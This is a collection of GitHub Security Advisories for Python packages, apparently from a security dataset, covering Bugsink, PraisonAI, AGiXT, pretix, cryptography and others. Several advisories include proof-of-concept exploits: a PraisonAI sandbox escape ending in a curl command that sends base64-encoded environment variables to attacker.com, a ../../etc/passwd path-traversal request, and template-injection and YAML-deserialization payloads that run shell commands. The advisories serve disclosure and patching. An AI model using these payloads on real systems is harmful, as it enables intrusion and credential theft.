deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-8hw4-fhww-273g
Package: bugsink (PIP)
Severity: HIGH (CVSS 7.1)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: = 2.1.0
Patched in: 2.1.1

Summary: Bugsink affected by authenticated arbitrary file write in artifactbundle/assemble

Details:
# Authenticated arbitrary file write in artifact bundle assembly

## Summary

An authenticated file write vulnerability was identified in Bugsink **2.1.0** in the artifact bundle assembly flow.

A user with a valid authentication token could cause the application to write attacker-controlled content to a filesystem location writable by the Bugsink process.

This issue requires authentication and affects only version **2.1.0**.

The issue is fixed in **2.1.1**.

## Impact

This vulnerability allows an authenticated user to create or overwrite files **within locations writable by the Bugsink service account**.

The practical impact depends on the deployment environment and filesystem permissions of the running process.

Possible consequences include:

* modification of application data files
* corruption of uploaded assets or temporary files
* overwriting files in mounted writable volumes
* disruption of normal application behavior

No unauthenticated exploitation is known.

No direct code execution has been demonstrated as part of this issue, though impact may be greater in deployments where the process has broad write permissions.

## Affected versions

* **Affected:** 2.1.0
* **Fixed:** 2.1.1
* **Not affected:** earlier releases

## Mitigation

Upgrade to **2.1.1**.

As a defense-in-depth measure, deployments should continue to ensure the Bugsink process runs with the **minimum required filesystem permissions**.
GitHub Security Advisory: GHSA-3c4r-6p77-xwr7
Package: PraisonAI (PIP)
Severity: HIGH (CVSS 8.6)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-693: Protection Mechanism Failure
Vulnerable versions: < 4.5.128
Patched in: 4.5.128

Summary: PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure

Details:
PraisonAI's AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.

## Description

The `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.


```python
type.__getattribute__(obj, '__subclasses__')  # Bypasses filter
```

The string `'__subclasses__'` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.

## Proof of Concept

```python
# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')
        
        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')
```

---

## Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

* Access sensitive data such as environment variables, API keys, and local files
* Execute arbitrary system commands
* Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.

---

## Affected Code

```python
# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)
    
    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)
    
    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)
```


**Reporter:** Lakshmikanthan K (letchupkt)
GitHub Security Advisory: GHSA-c3f2-qg8v-25q2
Package: dfir-unfurl (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Vulnerable versions: < 2026.04
Patched in: 2026.04

Summary: Duplicate Advisory: Unfurl's unbounded zlib decompression allows decompression bomb DoS

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-h5qv-qjv4-pc5m. This link is maintained to preserve external references.

### Original Description
Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.
GitHub Security Advisory: GHSA-9gjv-jvm7-vv2v
Package: gramps-webapi (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 3.11.0
Patched in: 3.11.0

Summary: Gramps Web API: Private Sub-Object Data in Non-Private Objects Exposed to Guest Users

Details:
## Summary

Users with the **Guest** role could receive private sub-object data (e.g. private alternate names, private addresses, private note/citation/media handles) through list API endpoints such as `GET /api/people/`, `GET /api/places/`, `GET /api/events/`, and all other object list endpoints.

**This does not expose objects (people, places, events, …) that are themselves marked private.** Top-level private objects are correctly excluded from all responses. Only sub-object data attached to otherwise-public objects is affected.

## Affected Versions

All versions of Gramps Web API prior to the fix.

## Root Cause

The vulnerability originates from the behaviour of `PrivateProxyDb.iter_*()` in **Gramps core**. The `ProxyDbBase.__iter_object()` helper, which backs all `iter_*()` methods in `PrivateProxyDb`, correctly filters out top-level private objects but returns the remaining objects **unsanitized** — i.e. without stripping private sub-object references. In contrast, `PrivateProxyDb.get_*_from_handle()` does call the appropriate `sanitize_*()` function.

Gramps Web API's `ModifiedPrivateProxyDb` (which wraps the raw database for non-admin users) inherited this behaviour without override.

The same issue affects Gramps desktop features that consume `iter_*()` output: reports and exports generated via Gramps desktop using `PrivateProxyDb` may also include private sub-object data that should have been stripped.

## Conditions Required

**This issue only affects trees in which sub-objects have been explicitly marked private in Gramps desktop.** The Gramps Web frontend UI does not expose controls for setting the private flag on sub-objects (alternate names, addresses, notes,
citations, media references, event references, etc.). In practice, such flags are set in Gramps desktop and then synced or imported into Gramps Web.

## Impact

When the conditions above are met, a user with the Guest role querying any list endpoint receives:

- **Full content** of private embedded sub-objects on people, such as alternate  names (first name, surname, etc.) and addresses (street, city, etc.).
- **Handles referencing** private notes, citations, and media attached to places,  events, sources, and other objects. These reveal the *existence* of private
  linked objects but not their content; fetching those objects by handle is  correctly blocked by the proxy.

## Fix

`ModifiedPrivateProxyDb` now overrides all `iter_*()` object methods to check `obj.get_privacy()` directly on the already-loaded object (eliminating the redundant per-object refetch) and to call the appropriate `sanitize_*()` function before yielding each object. This is consistent with the behaviour of `get_*_from_handle()` in `PrivateProxyDb`.
GitHub Security Advisory: GHSA-8jg2-726g-xh43
Package: lollms (PIP)
Severity: MODERATE (CVSS 4.1)
CWE: CWE-613: Insufficient Session Expiration
Vulnerable versions: <= 11.0.0
Patched in: unpatched

Summary: parisneo/lollms has an insufficient session expiration vulnerability

Details:
An insufficient session expiration vulnerability exists in the latest version of parisneo/lollms. The application fails to invalidate active sessions after a password reset, allowing an attacker to continue using an old session token. This issue arises due to the absence of logic to reject requests after a period of inactivity and the excessively long default session duration of 31 days. The vulnerability enables an attacker to maintain persistent access to a compromised account, even after the victim resets their password.
GitHub Security Advisory: GHSA-5gfj-64gh-mgmw
Package: agixt (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.9.1
Patched in: 1.9.2

Summary: AGiXT Vulnerable to Path Traversal in safe_join()

Details:
### Summary
The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.

### Details
`agixt/endpoints/Extension.py:165` (source) -> `agixt/XT.py:1035` (hop) -> `agixt/extensions/essential_abilities.py:436` (sink)

```python
# source
command_args = command.command_args

# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)

# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))
```
### PoC
 
```python
# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
 
import requests
 
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
 
headers = {"Authorization": f"Bearer {TOKEN}"}
 
payload = {
    "command_name": "read_file",
    "command_args": {
        "filename": "../../etc/passwd"
    }
}
 
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...
```
 
### Impact
 
Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.
GitHub Security Advisory: GHSA-h336-2wxm-pr6q
Package: OpenViking (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-862: Missing Authorization
Vulnerable versions: < 0.3.3
Patched in: 0.3.3

Summary: OpenViking contains a missing authorization vulnerability in the task polling endpoints

Details:
OpenViking versions prior to 0.3.3 contain a missing authorization vulnerability in the task polling endpoints that allows unauthorized attackers to enumerate or retrieve background task metadata created by other users. Attackers can access the /api/v1/tasks and /api/v1/tasks/{task_id} routes without authentication to expose task type, task status, resource identifiers, archive URIs, result payloads, and error information, potentially causing cross-tenant interference in multi-tenant deployments.
GitHub Security Advisory: GHSA-jpcj-7wfg-mqxv
Package: stata-mcp (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: < 1.13.0
Patched in: 1.13.0

Summary: stata-mcp has insufficient validation of user-supplied Stata do-file content that can lead to command execution

Details:
A vulnerability was identified in stata-mcp prior to v1.13.0 where insufficient validation of user-supplied Stata do-file content can lead to command execution.
GitHub Security Advisory: GHSA-wr8q-c73g-m7gp
Package: pretix (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-653: Improper Isolation or Compartmentalization
Vulnerable versions: < 2026.1.2
Patched in: 2026.1.2

Summary: pretix: API leaks check-in data between events of the same organizer

Details:
A new API endpoint introduced in pretix 2025 that is supposed to return all check-in events of a specific event in fact returns all check-in events belonging to the respective organizer. This allows an API consumer to access information for all other events under the same organizer, even those they should not have access to.

These records contain information on the time and result of every ticket scan as well as the ID of the matched ticket. Example:

{
  "id": 123,
  "successful": true,
  "error_reason": null,
  "error_explanation": null,
  "position": 321,
  "datetime": "2020-08-23T09:00:00+02:00",
  "list": 456,
  "created": "2020-08-23T09:00:00+02:00",
  "auto_checked_in": false,
  "gate": null,
  "device": 1,
  "device_id": 1,
  "type": "entry"
}

An unauthorized user usually has no way to match these IDs (position) back to individual people.
GitHub Security Advisory: GHSA-wr8q-c73g-m7gp
Package: pretix (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-653: Improper Isolation or Compartmentalization
Vulnerable versions: >= 2026.2.0, < 2026.2.1
Patched in: 2026.2.1

Summary: pretix: API leaks check-in data between events of the same organizer

Details:
A new API endpoint introduced in pretix 2025 that is supposed to return all check-in events of a specific event in fact returns all check-in events belonging to the respective organizer. This allows an API consumer to access information for all other events under the same organizer, even those they should not have access to.

These records contain information on the time and result of every ticket scan as well as the ID of the matched ticket. Example:

{
  "id": 123,
  "successful": true,
  "error_reason": null,
  "error_explanation": null,
  "position": 321,
  "datetime": "2020-08-23T09:00:00+02:00",
  "list": 456,
  "created": "2020-08-23T09:00:00+02:00",
  "auto_checked_in": false,
  "gate": null,
  "device": 1,
  "device_id": 1,
  "type": "entry"
}

An unauthorized user usually has no way to match these IDs (position) back to individual people.
GitHub Security Advisory: GHSA-wr8q-c73g-m7gp
Package: pretix (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-653: Improper Isolation or Compartmentalization
Vulnerable versions: >= 2026.3.0, < 2026.3.1
Patched in: 2026.3.1

Summary: pretix: API leaks check-in data between events of the same organizer

Details:
A new API endpoint introduced in pretix 2025 that is supposed to return all check-in events of a specific event in fact returns all check-in events belonging to the respective organizer. This allows an API consumer to access information for all other events under the same organizer, even those they should not have access to.

These records contain information on the time and result of every ticket scan as well as the ID of the matched ticket. Example:

{
  "id": 123,
  "successful": true,
  "error_reason": null,
  "error_explanation": null,
  "position": 321,
  "datetime": "2020-08-23T09:00:00+02:00",
  "list": 456,
  "created": "2020-08-23T09:00:00+02:00",
  "auto_checked_in": false,
  "gate": null,
  "device": 1,
  "device_id": 1,
  "type": "entry"
}

An unauthorized user usually has no way to match these IDs (position) back to individual people.
GitHub Security Advisory: GHSA-p423-j2cm-9vmq
Package: cryptography (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
Vulnerable versions: >= 45.0.0, < 46.0.7
Patched in: 46.0.7

Summary: Cryptography vulnerable to buffer overflow if non-contiguous buffers were passed to APIs

Details:
If a non-contiguous buffer was passed to APIs which accepted Python buffers (e.g. `Hash.update()`), this could lead to buffer overflows. For example:

```python
h = Hash(SHA256())
b.update(buf[::-1])
```

would read past the end of the buffer on Python >3.11
GitHub Security Advisory: GHSA-hwg5-x759-7wjg
Package: praisonai (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 4.5.114
Patched in: 4.5.115

Summary: PraisonAI has Template Injection in Agent Tool Definitions

Details:
## Summary
Direct insertion of unescaped user input into template-rendering tools allows arbitrary code execution via specially crafted agent instructions.
## Details
The `create_agent_centric_tools()` function returns tools (like `acp_create_file`) that process file content using template rendering. When user input from `agent.start()` is passed directly into these tools without escaping (as shown in `agent_centric_example.py:85-86`), template expressions in the input are executed rather than treated as literal text. This occurs because:
1. No input sanitization or escaping is applied to user-controlled content
2. The ACP-enabled runtime auto-approves operations (`approval_mode="auto"`)
3. Tools lack context-aware escaping for template syntax
## PoC
```python
# Replace the agent.start() call at line 85 with:
result = agent.start('Create file with content: {{ self.__init__.__globals__.__builtins__.__import__("os").system("touch /tmp/pwned") }}')
```
Successful exploitation creates `/tmp/pwned` confirming arbitrary command execution. The expression `{{7*7}}` renders as `49` instead of literal text.
## Impact
Attackers can execute arbitrary system commands with the privileges of the running process by injecting malicious template expressions through agent instructions. This compromises the host system, enabling data theft, ransomware deployment, or lateral movement.
## Recommended Fix
1. **Input Sanitization**: Implement strict whitelist validation for file content
2. **Contextual Escaping**: Auto-escape template syntax characters (e.g., `{{ }}`) in user input using Jinja2 `autoescape=True`
3. **Sandboxing**: Restrict template execution environments using secure eval modes
4. **Approval Hardening**: Require manual approval for file creation operations in production
GitHub Security Advisory: GHSA-f292-66h9-fpmf
Package: praisonai (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: <= 4.5.114
Patched in: 4.5.115

Summary: PraisonAI Has Unauthenticated SSE Event Stream that Exposes All Agent Activity in A2U Server

Details:
The A2U (Agent-to-User) event stream server in PraisonAI exposes all agent activity without authentication. This is a separate component from the gateway server fixed in CVE-2026-34952.

The create_a2u_routes() function registers the following endpoints with NO authentication checks:
- GET  /a2u/info       — exposes server info and stream names
- POST /a2u/subscribe  — creates event stream subscription
- GET  /a2u/events/{stream_name} — streams ALL agent events
- GET  /a2u/events/sub/{id}     — streams events for subscription
- GET  /a2u/health     — health check


An unauthenticated attacker can:
1. POST /a2u/subscribe → receive subscription_id
2. GET /a2u/events/sub/{subscription_id} → receive live SSE stream 
   of all agent events including responses, tool calls, and thinking

This exposes sensitive agent activity including responses, internal  reasoning, and tool call arguments to any network attacker.

<img width="1512" height="947" alt="image" src="https://github.com/user-attachments/assets/3438f3ea-75ec-4978-9dd9-d9a6da42c248" />

<img width="1512" height="571" alt="image" src="https://github.com/user-attachments/assets/ee3313f6-f522-48f7-9c06-e5e265c6aeb4" />


[1] POST /a2u/subscribe (no auth token)
    Status: 200
    Response: {"subscription_id":"sub-a1ad8a6edd8b","stream_name":"events",
    "stream_url":"http://testserver/a2u/events/sub-a1ad8a6edd8b"}
    Got subscription_id: sub-a1ad8a6edd8b

[2] GET /a2u/info (no auth token)
    Status: 200
    Response: {"name":"A2U Event Stream","version":"1.0.0",
    "streams":["events"],"event_types":["agent.started","agent.thinking",
    "agent.tool_call","agent.response","agent.completed","agent.error"]}

[3] GET /a2u/health (no auth token)  
    Status: 200
    Response: {"status":"healthy","active_subscriptions":1,"active_streams":1}


Impact: Attacker can subscribe and receive ALL agent events including responses, tool calls, and internal reasoning in real-time
GitHub Security Advisory: GHSA-32vr-5gcf-3pw2
Package: praisonai (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 4.5.114
Patched in: 4.5.115

Summary: PraisonAI Vulnerable to Remote Code Execution via YAML Deserialization in Agent Definition Loading

Details:
## Summary
The `AgentService.loadAgentFromFile` method uses the `js-yaml` library to parse YAML files without disabling dangerous tags (such as `!!js/function` and `!!js/undefined`). This allows an attacker to craft a malicious YAML file that, when parsed, executes arbitrary JavaScript code. An attacker can exploit this vulnerability by uploading a malicious agent definition file via the API endpoint, leading to remote code execution (RCE) on the server.

## Details
The vulnerability exists in the YAML deserialization process. The `js-yaml` library's `load` function is used without specifying a safe schema (e.g., `JSON_SCHEMA` or `DEFAULT_SAFE_SCHEMA`). This enables the parsing of JavaScript functions and other dangerous types. When a malicious YAML file containing a `!!js/function` tag is parsed, the function is evaluated, leading to arbitrary code execution.

The vulnerable code is located in `src/agents/agent.service.ts` at line 55.

## PoC
An attacker can create a malicious agent YAML file with the following content:
```yaml
!!js/function >
  function(){ require('child_process').execSync('touch /tmp/pwned') }
```
Then, upload this file as an agent definition via the API endpoint that uses `AgentService.loadAgentFromFile`. When the agent is loaded (either during startup or via an API call that triggers loading), the payload will execute the command `touch /tmp/pwned`, demonstrating arbitrary code execution.

## Impact
This vulnerability allows an unauthenticated attacker (if the API endpoint is unprotected) or an authenticated attacker with the ability to upload agent definitions to execute arbitrary code on the server. This can lead to complete compromise of the server, data theft, or further network penetration.

## Recommended Fix
Replace the unsafe `load` method with a safe alternative. Specifically, use the `load` method with a safe schema, such as `JSON_SCHEMA` or `DEFAULT_SAFE_SCHEMA`. For example:

```typescript
import yaml from 'js-yaml';
import { JSON_SCHEMA } from 'js-yaml';

// In the loadAgentFromFile method
const agent = yaml.load(fileContent, { schema: JSON_SCHEMA });
```

Alternatively, if the application requires only a subset of YAML features, consider using the `safeLoad` method from an older version (though note it was deprecated). The key is to avoid loading tags that can execute code.

Additionally, validate and sanitize all user input, especially file uploads. Ensure that agent definition files are only uploaded by trusted users and consider storing them in a secure location with proper access controls.